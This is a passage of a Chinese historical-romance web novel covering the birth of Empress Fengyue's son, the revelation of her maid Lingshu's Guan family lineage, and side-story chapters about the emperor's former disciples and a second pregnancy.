“是个小皇子吗?”更完衣的秋夫人等人一窝蜂地进了房间,殷戈止皱眉,一把将产婆和观止推到外室,然后将隔断的帘子放下来,拎了个大夫在外头守着:“不要让他们进来。”
大夫:“……”他是看病的,不是守门的啊!
外头的人吵吵闹闹地看着,有人察觉到小皇子不对劲,立马便喊:“大夫快来看看!”
于是守门的大夫又被拎到了产婆面前。
“此子早产,身体会比正常的孩子虚弱些。”大夫道:“需要好生照顾,不然有早夭的可能。”
早夭?!屋子里的人瞬间都沉默了下来。
风月觉得很累,本来还听得见些嘈杂的声音,后来就什么也听不见了,陷入了一片黑暗。
黑暗里有光,她仿佛看见了关家威武的门楣,那一家子大大小小的人都站在门口朝她笑,她一喜,怀里抱着孩子就想跑过去。他们却飞快地退回了门里。
关苍海拉着大门,满脸的络腮胡子,笑起来格外慈祥:“好孩子,自己好好过日子吧。”
瞳孔微缩,她摇头,飞快地就想上去将门抵住。然而关苍海的动作更快,朝她一笑,便合上了门。
沉重的朱门“哐”地一声响,任凭她扑上去踢啊踹啊的,都没能再打开。
“老爹!二哥!”风月哽咽,拉着门环道:“你们别留我一个人啊!”
“哪里就是一个人了?”灵殊的声音在旁边的墙头上响起。
微微一愣,风月侧头,就看她从关家的墙头上翻了出来,蹦蹦跳跳地走到自己面前,手指着她身后:“您瞧。”
顺着她指的方向回头,她愕然。
身后站着好多的人啊,秋夫人满脸温和,尹衍忠背脊挺直,罗昊笑得灿烂
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。整个大杂院的人都在,穿着各式各样的盔甲。还有机灵的灵殊,忠诚的观止,统统都在看着她。
“该回家带孩子了。”耳边又响起殷戈止的声音。风月一惊,连忙侧头,就看见一张面无表情的脸,眼里带着雨后清冽的水气,睨着她道:“走吧。”
手被他握住,身子便被拉着往前走。风月满脸茫然,却听得四周都是欢笑声。
“少主,您生了个小皇子。”
“少主,咱们打了胜仗!”
“风月。”一片亮光之中,仿佛有花瓣飘落,和着一个人淡然又认真的声音:“你关家的血脉,可以掌我殷氏的江山了。”
心口回暖,她笑出了声,终于自己迈开了步子,跟着这群人一起,朝前头大步走去!
安静的房间里,殷戈止面无表情地抱着孩子,半阖着眼睨着他。
小皇子眼睛都没睁开,但像是能感觉到来自自家父皇的嫌弃,不舒服地扭着身子。
“她生你已经够麻烦了。”沉声开口,殷戈止道:“你要是敢再生病,给她添麻烦,朕不会让你好过的。”
观止在旁边听傻了,自家主子可真是厉害,威胁天威胁地,现在连自己的儿子都不放过?
“主子,皇子还小,听不懂话的。”
看了一眼那瞬间老实了的小团子,殷戈止轻哼:“他听得懂。”
听得懂个鬼啦!观止摇头,继续写单子让人准备药材。小皇子早产,定然是很容易生病的,得提前做好准备。
然而,不知道是不是当真听懂了殷戈止的话,没睁眼的小皇子安静地睡着,再没哭闹。
风月醒过来的时候,一摸肚子,差点吓**:“我的孩子呢?”
“这儿。”伸手把团子给她,殷戈止满脸骄傲:“是个很懂事的孩子,不哭不闹……”
话没落音,小团子到了风月怀里,突然就爆发出惊天的哭喊声:“哇——”
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第201章 风月不相关
风月吓得一抖,下意识地抱着哄着,觉得不太对劲,抬头便瞪着殷戈止:“你欺负他了?”
殷戈止板着脸摇头:“没有,他是喜欢我,不太喜欢你。”
啥?
“不信你拿来。”脸上露出一种“慈父”的表情,殷戈止朝她伸手。
半信半疑地将哇哇哭着的小团子递过去,风月皱眉看着他,却见那襁褓一到他手里,孩子当真渐渐止住了哭声。
“不会吧……”脸垮了下来,她很伤心:“好歹是我生下来的,凭什么这么不待见我啊?”
观止站在一边,看着自家主子那一转头就开始吓唬人的脸色,心想真是活见了鬼了,这么小的孩子,当真能被他给吓住啊?
“别担心。”回过头又是一脸慈祥,殷戈止安慰她:“孩子小不懂事,等长大了就会孝顺你了。”
扁扁嘴,风月眼里涌上了泪,抽抽搭搭地道:“我生他这么疼,他不同我亲近,我怎么能不担心?”
瞧着她当真伤心了,殷戈止心里一沉,立马瞪了怀里的团子一眼。团子刚刚哭醒,缓缓睁开眼睛,眼里满是茫然,倏地被自家父皇一瞪,扁扁嘴,“哇”地一声又哭了起来。
“你看,他哭也是瞎哭。”一脸认真地看向风月,殷戈止道:“说不准什么时候哭什么时候不哭的。”
心疼地把孩子抱回来,风月轻轻拍着他:“这是早产的孩子,据说我娘生我也是早产,奶娘说原来为了让我长得结实点,可费劲了,奶水啊吃食啊都下了很大的功夫。这个小家伙运气不好,咱们还在边关呢,什么东西也没有。”
“娘娘放心。”闻言,观止立马站了出来:“需要的东西已经都让人去准备了,绝对不会委屈了小皇子。边境上已经停战,不日也将班师回朝。”
“月子。”殷戈止表情凝重了些:“已经准备了一辆特殊的马车,他们带着皇子先行,朕与你慢慢走。”
竟然连这个也考虑到了?风月挑眉,嫣然一笑,突然伸手拉了他的衣襟,勾着舌头给了他一个深深的吻。
身子一僵,殷戈止有些意外。
她已经很久很久没这样主动吻过他了,垂眼看看,那双狐眸里一直堵着的东西好像也散去了。清凌凌的水流淌着,从她的眼里顺溜地流进了他的心里。
像是明白了什么,殷戈止的表情骤然柔和,伸手轻轻揽着她的腰,反客为主,加深了这个吻。
观止捂着眼睛从他俩中间把孩子给抱出来,脸上红成一片,扭头就去找奶娘。阿弥陀佛,小皇子还小呢!非礼勿视,非礼勿视!
不过不管怎么说吧,皇后娘娘顺利生下小皇子,小皇子目前没出现什么问题,那就是母子平安,普天同庆。
魏国打了胜仗,皇帝携皇后和皇子一同凯旋,魏国上下都是一片欢腾。风月坐在马车里,每到一个城池,都能听见外头的鞭炮声。
“真好啊。”她感叹:“百姓们以后也能过上好日子了。”
旁边的魏孝帝闻言,合了手里的书,微微颔首:“多谢夸奖。”
有明君才有百姓的好日子,他的皇后夸他是明君,真是很让人愉悦。
轻轻打他一下,风月眯眼:“以后皇儿可不能让你教,教得同你一样不要脸可怎么好?”
殷戈止挑眉:“不要我教,那便你来。”
她来?风月沉默,认真地思考了好一会儿,咬牙道:“那还是你来吧,顺便给他起个名儿啊,眼瞧着都要到澧都了,还没个好名字。”
“我不会起。”继续低头看书,殷戈止道:“这种事还是夫人比较擅长。”
她擅长个啥?脸上有点红,风月撇嘴:“我自己的名字都没个正经,你还让我给皇儿起?”
“哪里没个正经了?”
“风月啊。”她有点不好意思地道:“当初就是觉得要入青楼了,所以起的这个风尘名儿。”
目光在她脸上绕了一圈,殷戈止摇头:“不风尘。”
人间自是有情痴,此恨不关风与月。
很有意思的名字。
一脸茫然地看着他嘴角的笑意,风月不高兴地扯了扯他的袖子:“你又让我看不懂了。”<
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p> “别看了,回去好生养身子吧。”放下书,伸手将人抱到怀里来,殷戈止低笑:“你这人,前半生已经够操劳了,绞尽脑汁费尽心力的,以后的日子,就好生休息。凡事都有朕顶着。”
这么好?风月展颜一笑:“我就靠您罩着了?”
“对。”
“可朝中总是有大臣来打扰我,让我去替他们向您求情啊什么的,我也不好推辞,怎么办?”
“好说。”伸手摸了摸她的脑袋,殷戈止神色温柔,低声道:“回去送你一副联,挂在中宫门口即可。”
什么联能有这么大的效用?风月很疑惑。
马车骨碌碌地行在路上,载着优哉游哉的帝后二人,慢慢往澧都而去。
歌舞升平,澧都更加繁华,庆功宴上百官大醉,归来的将士们更是一一得了厚赏。出了月子的皇后娘娘喝得酩酊大醉痛快至极,等到散场的时候,整个儿是被皇帝给抱回宫的。
“你为什么没醉啊?”风月大着舌头问。
殷戈止面无表情地道:“没喝,倒地上了。”
“真阴险!”笑着伸手戳了戳他的脸,风月摇头晃脑地看着前头:“这是哪儿啊?”
“你的中宫。”一步步走着,殷戈止看着那灯火辉煌的宫门口,眼里有了点温度:“答应你的东西,他们已经挂好了。”
什么东西?扶了一把头上的凤冠,风月从他怀里跳下来,拉着他的手往前走:“联子么?”
“嗯,你还看得清是什么字吗?”
眯着眼睛盯着宫门两侧挂着的金漆木,风月有点茫然。
背后有温暖的东西靠上来贴着她的背心,殷戈止低头,在她耳畔轻声道:“左书:春秋两不沾。右刻:风月不相关。”
春秋两不沾,风月不相关。
他的皇后,只与他有关系,其他所有的春秋大事,风月红尘,都挡在这门槛外头即可。
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第202章 关家血脉
春风吹过澧都的时候,将军陵便已经落成了。
风月舒展着筋骨,将殷戈止关在了宫里带小皇子,然后单独和灵殊一起去爬山。
灵殊一早就能察觉主子今日有话要对自己说,所以她揣好了点心,带够了水,乖乖巧巧地等着她开口。
山路崎岖,四周也没什么人,风月眯着眼看着四周郁郁葱葱的树,叹了口气:“有件事,我早该告诉你的。”
耳朵竖了起来,灵殊眨巴着眼看着她。
“你的母亲,叫鸢容。”风月微笑:“是个很温柔很善良的人。”
“奴婢知道。”灵殊点头:“您每年都跟我说她,奴婢不傻,自然知道是跟自己有关系的,也想过多半是娘亲。”
她是在兴和村被张爷爷带着长大的,小时候也曾问过爹娘去了哪里。张爷爷跟她说,她娘出去做事了,她爹没回来过,不知道在哪儿。小灵殊当时很伤心,觉得自己是爹娘不要的孩子。可后来长大一点,她也就想通了,娘亲不回来看她,一定是有什么苦衷。
虽然到现在,她也不知道那苦衷是什么。
“主子再给你讲个故事吧。”声音里满是叹息,风月垂眸:“这回,你可要听仔细些。”
“好。”
树林里风吹叶作响,风月抬头看着斑驳的天,眯着眼睛慢慢回忆起来。
鸢容是一直伺候着关清越的丫鬟,常常在主院里走动,却没什么想上位的心思。别的丫鬟都想尽办法吸引关清穆的注意,独她守着礼,半分不曾逾越。
关清穆十五岁便有了将门风骨,很得女儿家喜欢,不少想嫁进关家做二少夫人的小姐都一个劲讨好关清越,想套着近乎当她嫂子。于是关清越那段日子过得很是滋润,点心啊衣裳啊要什么有什么。
不过打扰的人多了,关清越就烦了,某天抱着鸢容的胳膊就道:“干脆你给我当嫂子吧,也免得他们烦我。”
鸢容慌张地松开她的手,脸上红成一片,连脖子都透着粉,吞吞吐吐地道:“奴婢身份不合适的。”
到底是被她带着长大的,当时的关清越又还小,古灵精怪。一看她这表情,当即就来了一句:“原来你也喜欢我二哥!”
一听这话,鸢容的脸更红。本就是个脸皮薄的,生怕关清越将这事告诉了二少爷,所以便求着她别嚷嚷。
“要我不嚷嚷也好说。”彼时只有十一岁的关清越拍着胸口道:“那你听我的,我帮你讨我二哥欢心!”
鸢容急得跺脚,半分也不愿意。关清越哪里肯依,威胁着她要去告诉二哥,然后就坏笑着看鸢容听她的话去炖汤、做点心、绣帕子。
于是有一段时间,关清穆早上起身打开门,总能在门口看见很多东西。有时候是一方绣着竹叶的帕子,有时候是一叠热气腾腾的点心。
府里已经下过禁令,不许丫鬟来打扰他了。那还有谁能往他门口放东西呢?想都不用想,关清穆直接拎了关清越来问。
关清越嬉皮笑脸地道:“二哥最近练功很是辛苦,妹妹心疼你,所以送你的东西。”
她送的?关清穆摇头,拎了那绣工上乘的竹叶帕出来:“你现在重新给我绣来看看,要求不高,绣一片一模一样的叶子出来就成。”
关清越:“……”
鸢容羞得无处可躲,站在旁边埋着头半句话也没敢吭。眼珠子正乱转呢,就见二少爷站了起来,衣袍微微摆动,轻飘飘说了一句:“今早的鸽子汤很好喝。”
微微一愣,接着就是一股子喜悦从心底冒上来开了花!鸢容小心翼翼地抬头,就见关清穆看着她,轻轻一笑。
那时的关清越看不懂为什么二哥一个表情就让鸢容高兴成了那样,现在回想起来,当时的鸢容定然是觉得心里满满当当,幸福得要飞起来了。
自己默默喜欢着的人,喜欢自己炖的鸽子汤。有什么能比这个更让一个只会做鸽子汤的傻女人更高兴的?
没有!所以从那之后,鸢容不用关清越怂恿,自己就时常给关清穆送东西了。可以说那一年,鸢容差点就成
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了关清穆的丫鬟。
高门人家男儿在十六岁还未成亲的话,都会有个通房丫鬟教导人事。鸢容跪在关清越面前,很是诚恳地求了她三天。
“姐姐。”小小的关清越别的不懂,家里的规矩却是很明白的,她很不赞成鸢容的决定:“通房丫鬟地位太低,就算生了孩子,你也入不得关家族谱,何不再等等?”
“等不了了。”鸢容苦笑:“奴婢从来就是没机会的,如今有这样的机会,已经是极好。若主子能帮忙,鸢容死而无憾。”
关清越沉默,三天之后,终于没能敌得过鸢容的执着,去求了老爹,让鸢容去当二哥的教导丫鬟。
可是,那天晚上,二哥将她关在了门外。
“我心有所属。”他道:“就不耽误你嫁人了。”
衣衫单薄的鸢容跪在门外,身子轻轻发着抖。关清越不忍心,拿着披风裹着她,将她扶了回去。
她是亲眼看着的,看着鸢容是如何高兴地打扮,准备去伺候二哥。也是看着的,看着她如何狼狈地回到屋子里,几天都没有出来。
二哥那段时间情绪很不好,时常喝醉。关清越忙着练功,也就没再注意这二人,只当他们是有缘无分。后来鸢容说要回家成亲了,府上便放了她走,她舍不得她,所以怀了身子都还在照顾她,生产之后,更是直接回到府里,一直陪着她。
关清越一直觉得,鸢容心里可能是有遗憾的,毕竟终究没能与那么喜欢的人厮守。二哥到最后也娶了菱儿嫂子,两人感情甚笃。
然而,就在鸢容替她**之后,她从昏迷里醒来,手里捏了一封信。
“兴和村灵殊,乃关家血脉,请主子善待。”
一句话,让关清越想了许久也没想明白。
当年发生过多少她不知道的事情?鸢容生的关家血脉,还能是谁的血脉?
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第203章 关家灵殊
她的回忆里有鸢容温柔的侧脸,有自家二哥和菱儿嫂子至死不渝的深情,可就是不曾有鸢容和二哥在一起的场面。
或者说,从二哥成亲,说出那句“不必纳妾”开始,鸢容就再也没有靠近过二哥半步。哪怕是在院子里遇见了,也是头也不抬地行礼,然后便退下。
菱儿嫂子是个很好的姑娘,性子坚韧忠贞,与关清穆虽然是父母之命,可举案齐眉,恩爱得羡煞旁人。自打看见二哥看嫂子的眼神之后,关清越也没再跟鸢容提起过二哥半个字。
终究是有缘无分吧。
她当时年纪小,没怎么在意过鸢容的情绪,只当她是伤心了,所以在二哥成亲之后没多久,就急急忙忙嫁了人。也没仔细看过她嫁的那人长什么样子,更是不知道她生的女儿在哪里。鸢容回来之后,变得沉默寡言,经常盯着某个地方发呆,关清越问她怎么了,她也只是笑笑不说话。
后来回想起来,风月觉得,灵殊只会是二哥的骨肉,先不说眉目的相似。只凭鸢容那外柔内刚的性子,爱上了二哥,就绝不会与其他人定下终身,况且有一段时间二哥一直消沉,酩酊大醉的次数不少,鸢容过去伺候的次数也不少,两人到底发生过什么,谁也不知道。
既然鸢容给她留了那么一句话,那灵殊一定就是二哥的孩子,可二哥到死似乎都不知道这件事。
灵殊更是无辜,从出生开始就什么也不知道,甚至还被人买去当了丫鬟。她去赎她出来的时候,那小丫头一抬眼,风月的眼眶就红了。
“你叫灵殊吗?”看着那依稀有些熟悉的眉眼,她问。
小丫头眼里满是戒备,姿态却乖顺,恭恭敬敬地给她叩头:“奴婢灵殊,求主子可怜。”
于是,远去吴国的风月姑娘身边,就多了个灵殊丫头,她时常将她抱在怀里,也宠着她给她买点心吃。灵殊丫头学会了梳头,会搬着凳子站在她背后给她整理发髻,觉得自家主子辛苦了,还会认真地说:“奴婢是被您救的,也是您一手带了三年,等您不愿意干这行的时候,那奴婢肯定是要养您的!”
跟在风月身边三年,灵殊的眼里没了先前的戒备,变得天真可爱,懵懂如普通的孩童。风月看她的目光向来充满慈祥,只想让这孩子好过点,以后能远离仇怨。
关家的仇和她没关系,她是无辜的,她该好好活着。所以当初殷戈止问起灵殊,风月只说她是鸢容的孩子,却没说她是关家最后的血脉。
殷戈止欠她的东西,她本是打算让他偿还在灵殊身上,护她一世安稳的。没想到,前头的死路走啊走的,竟然走活了。
山上的风更大了些,灵殊安静地听着她说故事,伸手将她飞起的披风给捂了下来。
“所以,主子其实是姑姑吗?”她问。
伸手摸了摸她的脑袋,风月笑道:“抱歉,本来是打算瞒着你一辈子的,可是我觉得,你既然想知道,那现在告诉你也无妨。”
微微垂眼,灵殊不好意思地笑了笑:“被主子发现了?”
她从大局安定之后就一直在找人打听关家的事情,甚至辗转买到了一副关家大宅里流出来的画。从那一天起,她就没能睡好过。
她知道鸢容是她的母亲,可不知道谁是她的父亲。想问主子,又怕惹起她的伤心事,于是就一直闷在心里。
哪知,都被主子看在了眼里。
“你这小丫头,藏东西向来都是藏在床底下。”风月叹息:“每次你神色古怪,我都会去你的床下翻翻。以前是藏着给我的礼物,亦或是偷偷藏了我不许你吃的甜食。没想到现在,却藏了关家的画。”
伸手将藏在背后披风下头的卷轴拿出来,风月拉着灵殊继续往上走,走到将军陵了,才找了块儿干净的地方,将那卷轴打开。
长长的画卷铺开三尺,上头画了三排人,第一排人跪坐着,中间几个坐在椅子上,后头围着站了长长的一排。老老少少,男男女女,穿的都是正经的礼服,表情严肃。只几个没正形的小孩子,跪在前头龇牙咧嘴的。
这是关家族像,在关清越五岁的那年画的,彼时关家大
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少爷还没有战死沙场,关家最小的小少爷也还没有出生,孩子那一辈跪着的就只有三个人,从左到右,从大到小,中间跪的就是关清穆。
“你父亲长大了可不是这个样子。”伸手摩挲着那泛黄的画纸,风月失笑:“他长大之后可好看了,丰神俊朗,天人之姿,澧都多少女儿家都想嫁给他啊,一点也不输给当时的大皇子。”
灵殊怔愣,低头看着那跪坐着穿着对襟礼服的小男孩儿,眼里满是茫然。
“我爹和我娘……没有成亲吧?”
笑意微顿,风月眼波流转,回头便道:“成了啊,之后的故事主子还没来得及讲。鸢容是成了亲的……”
“主子。”看着她那努力想编故事的表情,灵殊失笑:“您不用遮掩的,奴婢哪能想不明白?他们要是成了亲,奴婢怎么可能流落在外呢?”
“……你这丫头。”风月叹息:“这么聪明做什么?傻乎乎的才有福气,知道吗?”
“可是……”
“没有可是了。”伸手抱了她在怀里,风月眯眼,温柔地摸着她的脑袋:“过去的都已经过去了,以后凡事都有我呢。”
“主子……”
“叫姑姑。”
灵殊一愣,继而失笑,眼里亮晶晶的,伸手就揽住她的腰,甜甜地喊了一声:“姑姑。”
心里舒坦了,风月抬头看了一眼将军陵旁飘着的旌旗,低声道:“走吧,咱们去上香。”
关家人的骸骨能找回的都已经找回,好生入殓一起葬在将军陵四周了。灵殊找到关清穆和鸢容各自的石碑,认真读了他们的生平,给他们上了香,规规矩矩地磕了三个头。
虽然不知道上一辈人到底有什么过往和纠葛,不过她终于找到了自己的父母,那至少,清明寒食,她都不会让他们短了香火。
这是她唯一能做的事情了。
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第204章 梦回书院
从将军陵回去之后,风月不小心感染了风寒。不是什么大病,可吓坏了一向镇定的皇帝陛下。
殷戈止的脸色很难看,盯得灵殊直往风月背后钻,委屈万分地道:“奴婢已经很小心了!”
“是我自个儿没注意。”风月讨好地朝他笑:“吃点药就好了。”
“吃点药?”殷戈止冷笑,伸手就将灵殊拎起来,扔出去交给观止,然后回头,满脸不悦地道:“你觉得生病就一句吃药便可?”
不然呢?风月缩了缩肩膀:“那臣妾还得如何?”
大步走回她面前,殷戈止道:“多说无益,来试试吧。”
试什么?风月满脸茫然,还没反应过来呢,面前这人的唇就猛地压了下来。
“陛……陛下!”吓了一跳,风月连忙推开他:“臣妾生着病呢!”
“朕知道。”一脸怒色,殷戈止道:“就是知道,才叫你感同身受,尝尝心上人生病是什么滋味儿!”
说罢,双手擒住她,一把就将她推到了床榻上。
有那么一瞬间风月没反应过来,因为这人实在是太理直气壮并且找的理由很有说服力的样子,所以衣襟被他咬开,她都没挣扎。
可是,等反应过来哪里不对劲的时候,她眨眨眼,张口就咬着身上这人的脖子,伸着舌尖儿娇媚地道:“陛下想宠幸臣妾,也不必找这些个借口啊。”
恢复得极快的腰身跟蛇一般地缠着他,殷戈止轻吸一口气,眼里神色陡然深了,下意识地就低斥:“你这狐狸精!”
“咯咯咯”地笑开了,风月眼里亮晶晶的,反客为主,翻身就将人压在自个儿身下,挣开手便去解他的衣带:“陛下不顾龙体也要与臣妾一同生病,臣妾甚为感动,不得不成全陛下。”
柔软的手划着衣襟,一路往下划开,殷戈止躺着,睨着这人眼角眉梢的媚意,突然想起了在梦回楼的时候。
惊鸿一瞥,意外坠他怀。这人其实从一开始就在他心里留下了不一样的痕迹,所以后来她找死,他也想着法子不让她死。她勾他引他,他也随她任她。虽然并没有想过能与她有什么未来,可那时候的自己,分明是被她迷惑了。
表面正经的他,心里就是不喜欢那种正儿八经的姑娘,偏喜欢她这种风尘妖媚的。
这局棋,从一开始,她就赢了一半。
摩挲之间刺激入骨,禁欲已久的皇帝陛下压根受不住这种刺激,翻身就要将这狐狸就地正法了!
然而,外头很不合时宜地响起了婴儿的啼哭声,灵殊也就急匆匆跑了过来,敲着门道:“主子主子,小皇子哭醒了,奶娘怎么哄都不管用!”
风月一惊,下意识便要合拢衣裳起身。然而,身上的人哪里肯放她,欺身压上来便沉着脸道:“你要这时候走,我也哭,谁哄都不管用。”
“……”哭笑不得,风月轻轻打他一下:“跟小孩子争宠?您可是堂堂帝王!”
“帝王才是最需要宠爱的人。”捏着她的腰往下一拉,殷戈止勾唇,俯身在她耳边轻声道:“高处不胜寒,他还在襁褓里,暖和着呢,你应该多照顾我。”
这是哪里来的道理?听着还挺有说服力的?!风月笑了,摇摇头道:“那您事后记得补偿皇儿,别的都不用,给他换个名字可好?”
朝中老臣们给起的什么殷文靖,实在是难听**。
“好。”身子沉下来,紧紧贴着她,殷戈止应了,转头就对外头还在敲门的灵殊道:“你去数着。”
外头的灵殊一愣,很是茫然:“数什么?”
“数小皇子这一次哭了多少声。”他一本正经地道:“停歇超过一炷香算一次,今晚看他哭几次,每次哭几声,好生记下来。”
风月眯眼:“陛下?”
“我殷家的男儿,都该学会自己取名字。”回过头深深地看着她,殷戈止道:“正好书库前些日子已经编写好了一本字谱,一共五千个汉字,按笔画排序,让他自己给自己定吧。”
哭笑不得,风月还想**,这人却不打算再听,帘子一拉,直接卷着她滚进床榻里头。
小皇子的哭声响彻整个宫廷,观止和灵殊整宿没睡,都蹲在小皇子的旁边有一搭没一搭地数着:“三十八,三十九……”
于是第二天,小皇子崭新的名字诞生了——殷旸罫齐。
风月嘴角抽得厉害,脑袋直摇:“臣妾突然觉得原来的名字挺好的!”
“来不及了。”殷戈止面无表情地道:“想另外起名,那就再生一个,让他重新哭。”
风月:“……”
她怎么就给自己的儿子找了这样的爹呢?真是造孽啊!
殷旸罫齐长到快一岁的时候,因为早产的缘故,生了一场大病。殷戈止没和风
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月留在宫里,倒是带着她出门了。
“不是说要去给齐儿祈福吗?”风月很是焦躁:“您这是要去哪儿?”
“的确是给他祈福,朕已经安排好了。”殷戈止道:“你跟着去看就是。”
“骗鬼呢!这压根不是去龙台山的方向!”
伸手轻轻握着她,殷戈止叹息:“你这个人,总是沉不住气。”
马车驶向热闹的雪月街,曾经红灯笼遍挂的地方,如今瞧着好像大不相同了。
“这是……梦回楼?”看着外头那地方,风月瞪大了眼。
“是梦回书院。”掀开帘子同她一起看向外头那白墙青瓦的地方,殷戈止道:“你在吴国的梦回楼,我一早便买了下来,算着日子,和这边的书院一同完工。你的那些个姑娘都过正经的日子去了,这地方,用来教书育人倒是极好。”
天知道他想这么做的时候受到多少阻力,毕竟民间一致以书院为最清高之地,以青楼为最**之地,他偏生要在青楼的地界上盖书院,可不是要急得老夫子们跳脚?
然而,他还是做到了,背后的事情不必同她多说,她看结果就成了。
“这些,用来给齐儿祈福,再好不过。”
风月怔愣地看着,神色怪异地看了他一眼。
“不用这么感动的。”对上她这眼神,殷戈止挑眉:“朕一时兴起罢了。”
一时兴起吗?风月失笑,靠着马车壁低声道:“陛下果然是痴心地找过我三年。”
嗯?没听懂她为何突然说这句话,殷戈止满眼疑惑。风月却笑得开心,捏了他的衣襟,将人扯过来就是一吻。
很久之前,她曾腹诽过,说三年前殷戈止睡过的女人都能组第二个梦回楼了,还指望他会痴心地找谁三年?不如指望梦回楼有一日能变成学堂。
梦回楼这样的地方,要变成学堂是不可能的事情。可这人,竟然当真做了这样的事,恰好敲在她心口,清脆地一声响。
当事人茫然不知自己做了什么了不得的事情,她却拉着他往马车里一滚,舔着嘴唇媚人入骨地笑:“陛下,玩吗?十两银子一夜,看您长得好看,给您打个八折吧。”
(正文完)
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第205章 番外之师父的教诲
天下七分,群雄并起。在吴、魏、齐三国联手击败宋国之后,形势大变,宋国接连败于楚、秦。宋收兵反守国土,却被赵趁虚而入,两国掀起一场大战,其余国家纷纷作壁上观。
魏国就在这个时候发展起来,新帝登基不过一年,朝中风气清正,百姓安居乐业。
然而魏孝帝并没有满足,自己国家是安定着呢,旁边吴齐二国不是还虎视眈眈么?
于是,他一转手,将叶御卿给他送来的米粮统统还给了齐国,还附赠亲笔书信,洋洋洒洒一大篇,总结下来也就一个意思——吴国心怀叵测啊,这个时候敲诈你齐国的粮食,拿来做我魏国的人情,魏国不打算买账!魏国同齐国才是同仇敌忾的好兄弟,粮食我替你们拿回来了,你们收好,莫要再上吴国的当了!
齐国国主收到粮食和信,本来心口堵着的对魏国的一口气瞬间没了,愧疚之下,大手一挥:前头运来的、已经到了齐国国都的几千石粮食我们收下了,后头的就不必送来了!魏国的诚意咱们都看见了,对吴国,咱们心照不宣!
所以,魏孝帝就用这几千石的粮食,消了与齐国之间的嫌隙,还告了吴国一个恶状。
叶御卿对此事茫然不知,吴国老皇帝病逝之后,他登基,很是顺手地继续指点江山,想增进与齐国的友好关系。然而,齐国反应冷淡,倒是与魏国的贸易来往更加频繁。
“凭什么?”他问何愁:“齐国人是不是傻?不跟大吴合作,去跟那羸弱不堪的魏国同盟?”
何愁淡笑着沉默。
一看她这压根没有光亮的眼睛,叶御卿更是烦躁,挥手就让冯闯出去打听消息。
结果,别的消息没打听到,倒是听见个更气人的——魏国皇后又有身孕了!
怎么生个没完的?!叶御卿快气死了,召集吴国将领开了个紧急会议,会议主题就是——现在还不灭魏国,魏国小皇子小公主都该满街跑了!殷戈止的孩子多了,这国就更难灭了!
说吧,你们谁挂帅!
安世冲和徐怀祖都还在兴致勃勃地选贺礼呢,冷不防听见这么个消息,脸都绿了。
叶御卿眼角一扫,看着他俩道:“你二人如今在我吴国军中也是能独当一面的了,安统领稳重,徐都尉有胆识,你二人挂帅,朕最为放心。”
让他们挂帅,去打自己师父的国家吗?徐怀祖当即变了脸色,安世冲倒还能镇定,一把按住旁边这想说话的人,起身拱手:“臣等遵旨。”
叶御卿此人,向来是表面看着好说话,心思甚为复杂。自从错信了殷戈止之后,他处置了不少对他有异心的人,吴国之中人心惶惶,谁都怕自己成为下一个被怀疑和被清除的对象。而今这样安排,恐怕是怀疑到他们头上来了。
行了礼,安世冲拉着徐怀祖就退了出去,走到没人的地方,徐怀祖皱眉就问:“你拦着我做什么?这仗我不想打!”
看了看四周,安世冲才开口道:“你要是当场反对,徐将军府和我安国侯府都不会有好下场。新帝是什么样的人,还要我告诉你吗?”
心里一紧,徐怀祖皱眉:“可……一边是家国,一边是师父,背叛家国是不忠,当真倒戈对付自己的师父是不孝。不忠和不孝,你能怎么选?”
安世冲也很为难,真要在战场上遇见师父,他们哪里下得去手?可要是不去……那陛下就该下手了。
如今吴国内的形势,武将方面就他二人最为出挑,陛下不得不倚重。可倚重之前,陛下想看看他们是不是值得信任。要是不值得,那陛下便不会再将大权放在他们手里,也不会任由两家的势力继续扩张。
怎么办?
思绪混乱之间,安世冲眼睛倏地一亮:“怀祖,你记得师父给的秘籍么?”
秘籍?徐怀祖点头:“临走时候给的那一本吧?我都练会了。”
“最后那一页,是不是还看不明白?”
最后一页上是师父当初写给他们的话……徐怀祖仔细回想着,突然倒吸一口凉气,恍然地看着安世冲:“将者,为国而战,国乃道义,其余皆可抛!”
安世冲抿唇,眼神复杂,叹息道:“师父早知道会有这么一天,所以一早就告诉了咱们该怎么办。”
国家不同,难免会有冲突之时。那到底是师徒之情重要,还是家国大义重要?
殷戈止说:其余皆可抛。
他不要他们顾虑重重,也不用他们手下留情。各自为国而战,那才是堂堂正正的将军。
深吸一口气,徐怀祖捏紧了拳头,望了望西南面的天。
他们的师父,可真是什么都想了个周到。那本秘籍,也果真能解决他们的难题。
世上没有比殷戈止更好的师父了。——在吴魏之战打响之前,徐怀祖和安世冲都是这么觉得的。
然而,两国当真打起来的时候,他们当真在战场上看见自家师父的时候,徐怀祖忍不住大吼:“他哪里需要我们手下留情顾虑重重了?哪里像是怕我们顾念师徒之情所以在劝导我们了?这厮分明是知道会有在战场上揍我们的这一天,提前打个招呼!”
溃败的吴军被追得狼狈,安世冲一边策马狂奔一边笑:“真不愧是大魔王。败给他,咱们不算丢人啊。”
“呸,气死我了!”徐怀祖恼羞成怒地道:“我再也不要跟他打了!这魏国谁爱攻谁攻!老子不干了!”
安世冲点头,他也不干了。有殷戈止在的时候,还企图跟魏国闹不痛快,实在不是个明智的举动。
于是,攻魏的十万大军,就在师徒嬉戏似的追逐里,被赶回了吴国。
得胜归来的殷戈止心情很好,给风月拧了帕子擦了脸,就优雅地拿起厚厚的字谱开始翻。
“陛下?”第二回大着肚子的风月看着他的表情,很是不解:“您做什么呢?”
“找个好名字。”勾着嘴角,魏孝帝陛下很是愉悦地道:“朕昨日梦见你这一胎是个女儿,女儿家的名字可不能马虎,得起个好的。”
第206章 番外之男女差别待遇
风月:“……”
啥意思啊?敢情闺女就是亲生的,儿子是捡来的?!齐儿多惨啊!自己给自己翻了个“阴阳怪气”的名字,他老爹还不让改了。结果一梦见是个闺女,就认真起名了?
伸手抓过旁边的观止,风月颤抖着问:“你家陛下更喜欢女儿啊?”
观止沉默,很认真地思考了一会儿,然后回答:“陛下大概只是更喜欢您。”
脸上一红,风月恼羞成怒,一脚踹过去:“哪儿学的胡话!”
“你老实点。”低着头翻书的人皱了眉:“真不把肚子当回事?”
瞪了观止一眼,风月优雅地收回腿,然后趴去他背上笑嘻嘻地问:“有什么好名字么?”
殷戈止轻轻摇头,叹了口气:“金不足显其雅,玉不能表其贵,朕慢慢找,不着急。”
说罢,想了想,伸手往后摸了摸风月的肚子,严肃了神色道:“不过其他该准备的东西就不能再迟了。观止,奶娘产婆备好了么?”
“回陛下,都备好了。”观止笑道:“连带着小公主未来的摇床、襁褓、衣裳,都已经按照您的吩咐让下头的人准备了。”
